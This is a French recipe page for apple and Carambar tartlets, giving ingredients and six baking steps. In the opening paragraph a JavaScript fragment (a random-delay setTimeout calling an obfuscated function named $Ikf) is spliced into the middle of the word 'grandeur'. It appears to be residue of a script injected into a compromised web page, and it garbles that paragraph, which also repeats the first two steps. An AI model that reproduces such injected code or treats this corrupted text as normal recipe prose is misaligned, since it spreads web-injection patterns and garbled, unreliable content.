Pommes carambars
2017-12-31- Thématique : Recettes pour enfants
- Niveau : Facile
Découpez des ronds de pâte feuilletée de la même grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeur que les tartelettes. Pelez, coupez les pommes en deux. Ôtez le cœur et les détailler en petits dés. Les citronner pour éviter qu’elles noircissent.
Ingrédients
- Pour 6 personnes
- 1 rouleau de pâte feuilletée
- 3 pommes golden
- 1 jus de citron
- 1 jaune d'œuf
- 5 carambars
- 25 g de beurre
Préparation de la recette
Etape 1
Découpez des ronds de pâte feuilletée de la même grandeur que les tartelettes. Pelez, coupez les pommes en deux.
Etape 2
Ôtez le cœur et les détailler en petits dés. Les citronner pour éviter qu'elles noircissent.
Etape 3
Dans une poêle avec le beurre sur feu moyen, faites fondre les carambars. Incorporez les petits dés de pommes tout en mélangeant.
Etape 4
Répartissez les moules à tartelette. Recouvrez de rond de pâte feuilletée. Dorez avec un jaune d'œuf.
Etape 5
Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 25 minutes environ, jusqu'à ce qu'elles soient biens dorées.
Etape 6
Sortez du four. Laissez refroidir avant de déguster
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